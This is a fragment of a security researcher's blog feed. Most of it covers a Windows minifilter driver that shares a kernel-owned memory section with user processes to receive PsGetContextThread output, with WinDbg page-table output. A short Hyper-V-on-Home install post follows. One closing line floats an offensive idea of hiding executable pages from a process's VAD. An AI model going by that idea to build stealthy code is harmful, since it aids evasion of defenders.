href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;modern-cpp-windows-driver-template&quot;&gt;driver template&lt;&#x2F;a&gt; and all I had to do was implement the steps which were:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Create a section in the &lt;code&gt;System&lt;&#x2F;code&gt; process. Why in &lt;code&gt;System&lt;&#x2F;code&gt;? Simply because section handles must be tight to a process: therefore if the section is created in a “normal” process, the handle to it will be close when&#x2F;if said process terminates, effectively closing the section. So we can use the &lt;code&gt;DriverEntry&lt;&#x2F;code&gt; to make sure the section handle is stored in the &lt;code&gt;System&lt;&#x2F;code&gt; kernel handle table. Save the handle in a global variable.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; create section
&lt;&#x2F;span&gt;&lt;span&gt;    {
&lt;&#x2F;span&gt;&lt;span&gt;        OBJECT_ATTRIBUTES &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;oa &lt;&#x2F;span&gt;&lt;span&gt;{};
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;InitializeObjectAttributes&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;            &amp;amp;oa,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            OBJ_EXCLUSIVE | OBJ_KERNEL_HANDLE | OBJ_FORCE_ACCESS_CHECK,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;nullptr&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        LARGE_INTEGER &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;li &lt;&#x2F;span&gt;&lt;span&gt;{.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;QuadPart &lt;&#x2F;span&gt;&lt;span&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x1000&lt;&#x2F;span&gt;&lt;span&gt;};
&lt;&#x2F;span&gt;&lt;span&gt;        Status =
&lt;&#x2F;span&gt;&lt;span&gt;            ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZwCreateSection&lt;&#x2F;span&gt;&lt;span&gt;(&amp;amp;Globals.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionHandle&lt;&#x2F;span&gt;&lt;span&gt;, SECTION_MAP_WRITE, &amp;amp;oa, &amp;amp;li, PAGE_READWRITE, SEC_COMMIT, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EXIT_IF_FAILED&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ZwCreateSection&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;    }
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;shared-kernel-user-section-driver&#x2F;blob&#x2F;main&#x2F;MiniFilter&#x2F;MinifilterDriver.cpp#L124-L137&quot;&gt;Link&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;By breakpointing at the end of DriverEntry we confirm that the handle resides in the System process.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;[*] Loading CHANGEME
&lt;&#x2F;span&gt;&lt;span&gt;[+] PsGetContextThread = FFFFF8061670B5B0
&lt;&#x2F;span&gt;&lt;span&gt;[+] Section at FFFFFFFF80002FB4
&lt;&#x2F;span&gt;&lt;span&gt;[+] Loaded fs filter CHANGEME
&lt;&#x2F;span&gt;&lt;span&gt;Break instruction exception - code 80000003 (first chance)
&lt;&#x2F;span&gt;&lt;span&gt;MinifilterDriver+0x7275:
&lt;&#x2F;span&gt;&lt;span&gt;fffff806`1aa57275 cc              int     3
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;d4b64773-6412-46dc-a9f4-f21e703e2659.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;d4b64773-6412-46dc-a9f4-f21e703e2659.png&quot;

    

    
    title=&quot;windbg-output-1&quot;
    alt=&quot;windbg-output-1&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Then I can use any callback (process&#x2F;image notification, minifilter callbacks etc.) to invoke &lt;code&gt;ZwMapViewOfSection&lt;&#x2F;code&gt;, reusing the section handle from the step earlier, and &lt;code&gt;NtCurrentProcess()&lt;&#x2F;code&gt; as process handle.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    NTSTATUS Status = ::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ZwMapViewOfSection&lt;&#x2F;span&gt;&lt;span&gt;(
&lt;&#x2F;span&gt;&lt;span&gt;        Globals.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;SectionHandle&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;NtCurrentProcess&lt;&#x2F;span&gt;&lt;span&gt;(),
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;amp;BaseAddress,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;NULL&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        &amp;amp;ViewSize,
&lt;&#x2F;span&gt;&lt;span&gt;        ViewUnmap,
&lt;&#x2F;span&gt;&lt;span&gt;        &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;        PAGE_READWRITE);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EXIT_IF_FAILED&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;ZwMapViewOfSection&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;shared-kernel-user-section-driver&#x2F;blob&#x2F;main&#x2F;MiniFilter&#x2F;MinifilterDriver.cpp#L204-L215&quot;&gt;Link&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;BaseAddress&lt;&#x2F;code&gt; will return an 64KB-aligned address located randomly (ASLR). The best thing here, is that we also control &lt;code&gt;ZeroBits&lt;&#x2F;code&gt;, allowing to (partly) control where that address will land.&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;We’re free to call &lt;code&gt;PsGetThreadContext()&lt;&#x2F;code&gt; with the returned &lt;code&gt;BaseAddress&lt;&#x2F;code&gt; value.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;c++&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c++ &quot;&gt;&lt;code class=&quot;language-c++&quot; data-lang=&quot;c++&quot;&gt;&lt;span&gt;    PCONTEXT ctx      = reinterpret_cast&amp;lt;PCONTEXT&amp;gt;(BaseAddress);
&lt;&#x2F;span&gt;&lt;span&gt;    ctx-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;ContextFlags &lt;&#x2F;span&gt;&lt;span&gt;= CONTEXT_FULL;
&lt;&#x2F;span&gt;&lt;span&gt;    Status = Globals.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PsGetContextThread&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;PsGetCurrentThread&lt;&#x2F;span&gt;&lt;span&gt;(), ctx, UserMode);
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;EXIT_IF_FAILED&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;L&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;PsGetContextThread&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;);
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;DbgBreakPoint&lt;&#x2F;span&gt;&lt;span&gt;();
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;shared-kernel-user-section-driver&#x2F;blob&#x2F;main&#x2F;MiniFilter&#x2F;MinifilterDriver.cpp#L224-L228&quot;&gt;Link&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;To prevent any inadverted permission drop of the view (and therefore BSoD-ing us during the call to &lt;code&gt;PsGetThreadContext&lt;&#x2F;code&gt;), we can secure the location using &lt;code&gt;MmSecureVirtualMemory&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;From WinDbg we can confirm the VAD is mapped when the breakpoint is hit:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;03ba2044-6cd9-4efe-8570-524044a87d7f.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;03ba2044-6cd9-4efe-8570-524044a87d7f.png&quot;

    

    
    title=&quot;windbg-output-2&quot;
    alt=&quot;windbg-output-2&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;And as soon as the syscall returns, we’re unmapped:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;748def89-0331-44bb-a112-9ded9992da45.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;748def89-0331-44bb-a112-9ded9992da45.png&quot;

    

    
    title=&quot;sysinformer-output-1&quot;
    alt=&quot;sysinformer-output-1&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Close the section in the driver unload callback.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;That’s pretty much it: what we’ve got at the end is kernel driver controlled communication vector to any process in usermode: as the section handle is part of System kernel handle table, it’s untouchable from ring-3 unless the driver dictates otherwise by creating a view (with proper permissions) to it. This approach is great as it allows the driver to control everything, but if we want to give a user-mode process some say into it, it’s also possible simply by turning the anonymous section we created for this PoC into a named one, then call sequentially &lt;code&gt;OpenFileMapping(SectionName)&lt;&#x2F;code&gt; then &lt;code&gt;MapViewOfFile()&lt;&#x2F;code&gt;. In addition, it could very well be ported to a process &amp;lt;-&amp;gt; process communication but here I wanted to play with the minifilter callbacks as an on-demand mechanism.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;side-track&quot;&gt;Side-track&lt;&#x2F;h2&gt;
&lt;p&gt;The careful reader will have notice that the step introduce a tiny race condition window, where another thread can also access the memory region. That bothered me, so I also examined more advanced options relying on the shared section objects. By nature they involve 2 PTEs:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;the “real” PTE (hardware PTE), effectively used for VA -&amp;gt; PA translation;&lt;&#x2F;li&gt;
&lt;li&gt;along with a prototype PTE.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;When the view is created, the memory manager will create empty PTEs but expect a page fault. This is verified quickly by breaking right after the call to &lt;code&gt;ZwMapViewOfSection&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;[*] Loading CHANGEME
&lt;&#x2F;span&gt;&lt;span&gt;[+] PsGetContextThread = FFFFF8061670B5B0
&lt;&#x2F;span&gt;&lt;span&gt;[+] Section at FFFFFFFF800035E4
&lt;&#x2F;span&gt;&lt;span&gt;[+] Loaded fs filter CHANGEME
&lt;&#x2F;span&gt;&lt;span&gt;[+] in PID=3292&#x2F;TID=4676 , MappedSection=0000018D40BF0000
&lt;&#x2F;span&gt;&lt;span&gt;Break instruction exception - code 80000003 (first chance)
&lt;&#x2F;span&gt;&lt;span&gt;MinifilterDriver+0x17a7:
&lt;&#x2F;span&gt;&lt;span&gt;fffff806`1aa517a7 cc              int     3
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; !pte2 0x000018D40BF0000
&lt;&#x2F;span&gt;&lt;span&gt;@$pte2(0x000018D40BF0000)
&lt;&#x2F;span&gt;&lt;span&gt;    va               : 0x18d40bf0000
&lt;&#x2F;span&gt;&lt;span&gt;    cr3              : 0x3e64d000
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e_offset     : 0x3
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe_offset      : 0x35
&lt;&#x2F;span&gt;&lt;span&gt;    pde_offset       : 0x5
&lt;&#x2F;span&gt;&lt;span&gt;    cr3_flags        : [- -]
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e            : PDE(PA=3e66d000, PFN=3e66d, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe             : PDE(PA=3df0e000, PFN=3df0e, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    pde              : PDE(PA=d97b6000, PFN=d97b6, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    pte_offset       : 0x1f0
&lt;&#x2F;span&gt;&lt;span&gt;    pte              : PTE(PA=0, PFN=0, Flags=[- RO K - - - - - -])
&lt;&#x2F;span&gt;&lt;span&gt;    kernel_pxe       : 0xffffeb00c6a05f80
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dx -r1 @$pte2(0x000018D40BF0000).pte
&lt;&#x2F;span&gt;&lt;span&gt;@$pte2(0x000018D40BF0000).pte                 : PTE(PA=0, PFN=0, Flags=[- RO K - - - - - -])
&lt;&#x2F;span&gt;&lt;span&gt;    address          : 0xd97b6f80
&lt;&#x2F;span&gt;&lt;span&gt;    value            : 0x0
&lt;&#x2F;span&gt;&lt;span&gt;    [...]
&lt;&#x2F;span&gt;&lt;span&gt;    PhysicalPageAddress : 0x0
&lt;&#x2F;span&gt;&lt;span&gt;    Pte              : 0x0 [Type: _MMPTE *]  &amp;lt;&amp;lt;&amp;lt;&amp;lt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, after the call to &lt;code&gt;PsGetThreadContext&lt;&#x2F;code&gt; the entry is correctly populated:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; g
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rip=00007ffa42e8d724
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rbp=00000020eccff550
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rsp=00000020eccff448
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rax=0000000000000033
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rbx=0000000000214040
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rcx=00000020eccff490
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rdx=0000000000100080
&lt;&#x2F;span&gt;&lt;span&gt;[+] Rdx=0000000000100080
&lt;&#x2F;span&gt;&lt;span&gt;[+] PsGetContextThread() succeeded
&lt;&#x2F;span&gt;&lt;span&gt;Break instruction exception - code 80000003 (first chance)
&lt;&#x2F;span&gt;&lt;span&gt;MinifilterDriver+0x1936:
&lt;&#x2F;span&gt;&lt;span&gt;fffff806`1aa51936 cc              int     3
&lt;&#x2F;span&gt;&lt;span&gt;kd&amp;gt; dx -r1 @$pte2(0x000018D40BF0000)
&lt;&#x2F;span&gt;&lt;span&gt;@$pte2(0x000018D40BF0000)                 : VA=0x18d40bf0000, PA=0xe23a0000, Offset=0x0
&lt;&#x2F;span&gt;&lt;span&gt;    va               : 0x18d40bf0000
&lt;&#x2F;span&gt;&lt;span&gt;    cr3              : 0x3e64d000
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e_offset     : 0x3
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe_offset      : 0x35
&lt;&#x2F;span&gt;&lt;span&gt;    pde_offset       : 0x5
&lt;&#x2F;span&gt;&lt;span&gt;    cr3_flags        : [- -]
&lt;&#x2F;span&gt;&lt;span&gt;    pml4e            : PDE(PA=3e66d000, PFN=3e66d, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    pdpe             : PDE(PA=3df0e000, PFN=3df0e, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    pde              : PDE(PA=d97b6000, PFN=d97b6, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    pte_offset       : 0x1f0
&lt;&#x2F;span&gt;&lt;span&gt;    pte              : PTE(PA=e23a0000, PFN=e23a0, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    offset           : 0x0
&lt;&#x2F;span&gt;&lt;span&gt;    pa               : 0xe23a0000
&lt;&#x2F;span&gt;&lt;span&gt;    kernel_pxe       : 0xffffeb00c6a05f80
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The PTE is valid:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dx -r1 @$pte2(0x000018D40BF0000).pte
&lt;&#x2F;span&gt;&lt;span&gt;@$pte2(0x000018D40BF0000).pte                 : PTE(PA=e23a0000, PFN=e23a0, Flags=[P RW U - - A D - -])
&lt;&#x2F;span&gt;&lt;span&gt;    address          : 0xd97b6f80
&lt;&#x2F;span&gt;&lt;span&gt;    value            : 0xc0000000e23a0867
&lt;&#x2F;span&gt;&lt;span&gt;    Flags            : Flags=[P RW U - - A D - -]
&lt;&#x2F;span&gt;&lt;span&gt;    PageFrameNumber  : 0xe23a0
&lt;&#x2F;span&gt;&lt;span&gt;    Pfn              [Type: _MMPFN]
&lt;&#x2F;span&gt;&lt;span&gt;    PhysicalPageAddress : 0xe23a0000
&lt;&#x2F;span&gt;&lt;span&gt;    Pte              : 0xffff9480f55f81d0 [Type: _MMPTE *]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So this means we have a great way to determine whether a physical page was accessed, using &lt;code&gt;MmGetPhysicalAddress()&lt;&#x2F;code&gt;. To test this we invoke it after the mapping (where we expect a null value) and a second time after the call to &lt;code&gt;PsGetThreadContext&lt;&#x2F;code&gt;:
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;ac738af0-04fe-4b85-a9d2-ea3911be93cb.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;ac738af0-04fe-4b85-a9d2-ea3911be93cb.png&quot;

    

    
    title=&quot;windbg-output-3&quot;
    alt=&quot;windbg-output-3&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The 2nd value for &lt;code&gt;PhyBaseAddress&lt;&#x2F;code&gt; points to the physical address where the function output is stored.
At that point, I thought it would be sufficient to stop because we have an effective way to honeypot potential corruptions attempts:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Create a section with many pages (the more the better)&lt;&#x2F;li&gt;
&lt;li&gt;During the preparation to the invocation of &lt;code&gt;PsGetThreadContext&lt;&#x2F;code&gt;, choose randomly one page that will receive the &lt;code&gt;CONTEXT&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Map all the pages separately&lt;&#x2F;li&gt;
&lt;li&gt;Call &lt;code&gt;PsGetThreadContext&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Once the call is over, we can use the method above to validate whether any other page than the one we know valid were accessed. If so, discard the result.&lt;&#x2F;p&gt;
&lt;p&gt;Isn’t Windows awesome?&lt;&#x2F;p&gt;
&lt;h1 id=&quot;end&quot;&gt;End&lt;&#x2F;h1&gt;
&lt;p&gt;There are a lot of possible fun uses of sections, and since I want to try to document more of my “stuff”. Some offensive cool use case would be for instance, would be to expose code “on-demand” to a specific thread&#x2F;process, removing the mapped execution page(s) from the process VAD as soon as we’re done.
I’ll try to post follow-up updates.&lt;&#x2F;p&gt;
&lt;p&gt;For those interested in the code, you would find a minifilter driver ready to build &amp;amp; compile on the Github project: &lt;a rel=&quot;noopener nofollow noreferrer&quot; class=&quot;fab fa-github&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&amp;#x2F;shared-kernel-user-section-driver&quot; target=&quot;_blank&quot;&gt;
&lt;code&gt;hugsy&amp;#x2F;shared-kernel-user-section-driver&lt;&#x2F;code&gt;
&lt;&#x2F;a&gt;
&lt;&#x2F;p&gt;
&lt;p&gt;So, see you next time?&lt;&#x2F;p&gt;
&lt;p&gt;Credits &amp;amp; References:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;What-Makes-Page-Windows-Virtual&#x2F;dp&#x2F;1479114294&quot;&gt;What Makes It Page&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;Windows-Internals-Part-architecture-management&#x2F;dp&#x2F;0735684189&quot;&gt;Windows Internals 7th edition, Part 1&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.vergiliusproject.com&#x2F;&quot;&gt;Vergilius Project&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows-hardware&#x2F;drivers&#x2F;kernel&#x2F;managing-memory-sections&quot;&gt;MSDN - Managing Memory Sections&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Install Hyper-V &amp; Sandbox on Windows 10&#x2F;11 Home</title>
        <published>2022-08-06T00:00:00+00:00</published>
        <updated>2022-08-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2022-08-06-install-hyperv-sandbox-win10home/"/>
        <id>https://blahcat.github.io/2022-08-06-install-hyperv-sandbox-win10home/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2022-08-06-install-hyperv-sandbox-win10home/">&lt;p&gt;Another lie, probably put in place from MS marketing team to force the hand and make more people purchase Windows 10&#x2F;11 Professional licenses: Hyper-V and Windows Sandbox &lt;strong&gt;can&lt;&#x2F;strong&gt; be installed on Windows 10&#x2F;11 Home Edition, not just Professional&#x2F;Entreprise. Contrarily to what &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;virtualization&#x2F;hyper-v-on-windows&#x2F;quick-start&#x2F;enable-hyper-v#check-requirements&quot;&gt;even Microsoft documentation says&lt;&#x2F;a&gt;, both Hyper-V and Windows Sandbox can be set in a quite simple manner, and just require an admin powershell prompt (note that a reboot will be required):&lt;&#x2F;p&gt;
&lt;p&gt;Get your copy&#x2F;paste skills ready!&lt;&#x2F;p&gt;
&lt;h2 id=&quot;install-hyper-v-on-windows-10-11-home&quot;&gt;Install Hyper-V on Windows 10&#x2F;11 Home&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;powershell&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-powershell &quot;&gt;&lt;code class=&quot;language-powershell&quot; data-lang=&quot;powershell&quot;&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Get-ChildItem &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;env:SystemRoot&lt;&#x2F;span&gt;&lt;span&gt;\Servicing\Packages\*Hyper-V*.mum | &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;ForEach-Object &lt;&#x2F;span&gt;&lt;span&gt;{ dism -Online -NoRestart -&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;add-package&lt;&#x2F;span&gt;&lt;span&gt;:&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a3be8c;&quot;&gt;_&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot; }
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;Enable-WindowsOptionalFeature &lt;&#x2F;span&gt;&lt;span&gt;-All -Online -LimitAccess -FeatureName Microsoft-Hyper-V
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;install-windows-sandbox-on-windows-10-11-home&quot;&gt;Install Windows Sandbox on Windows 10&#x2F;11 Home&lt;&#x2F;h2&gt;
